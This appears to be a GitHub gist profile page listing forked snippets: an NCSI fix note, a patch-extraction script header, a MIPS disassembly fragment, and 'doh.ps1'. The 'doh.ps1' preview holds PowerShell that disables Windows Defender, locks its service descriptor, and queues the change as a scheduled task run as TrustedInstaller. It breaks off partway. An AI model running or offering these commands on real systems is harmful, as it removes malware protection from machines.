Skip to content

Instantly share code, notes, and snippets.

View L4ys's full-sized avatar
😴
Lazy

Lays L4ys

😴
Lazy
View GitHub Profile
@L4ys
L4ys / Microsoft-ncsi-fix.md
Created September 26, 2024 19:46 — forked from stong/Microsoft-ncsi-fix.md
How to fix microsoft connection status indicator (NCSI)

what is it

it's this little fucker in the tray spying on you because microsoft thinks normies are too stupid to understand when their internet is not working

@L4ys
L4ys / doh.ps1
Created June 9, 2020 06:37 — forked from tyranid/doh.ps1
Something or other.
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
@L4ys
L4ys / PatchExtract125.ps1
Created May 24, 2019 04:51 — forked from moshekaplan/PatchExtract125.ps1
Patch Extract v1.25 by Greg Linares (@Laughing_Mantis)
<#
================
PATCHEXTRACT.PS1
=================
Version 1.25 Microsoft MSU Patch Extraction and Patch Organization Utility by Greg Linares (@Laughing_Mantis)
This Powershell script will extract a Microsoft MSU update file and then organize the output of extracted files and folders.
Organization of the output files is based on the patch's files and will organize them based on their archicture (x86, x64, or wow64)
as well as their content-type, ie: resource and catalog files will be moved to a JUNK subfolder and patch binaries and index files will
# strlen(char* str) {
0x400770: addiu r29, r29, 0xffffffe8 # sp -= 0x18
0x400774: sw r30, [r29+0x14]
0x400778: move r30, r29
0x40077c: sw r4, [r30+0x18] # arg1
0x400780: sw r0, [r30+0x8] # i = 0
0x400784: lw r2, [r30+0x8] # r2 = i
0x400788: lw r3, [r30+0x18] # r3 = arg1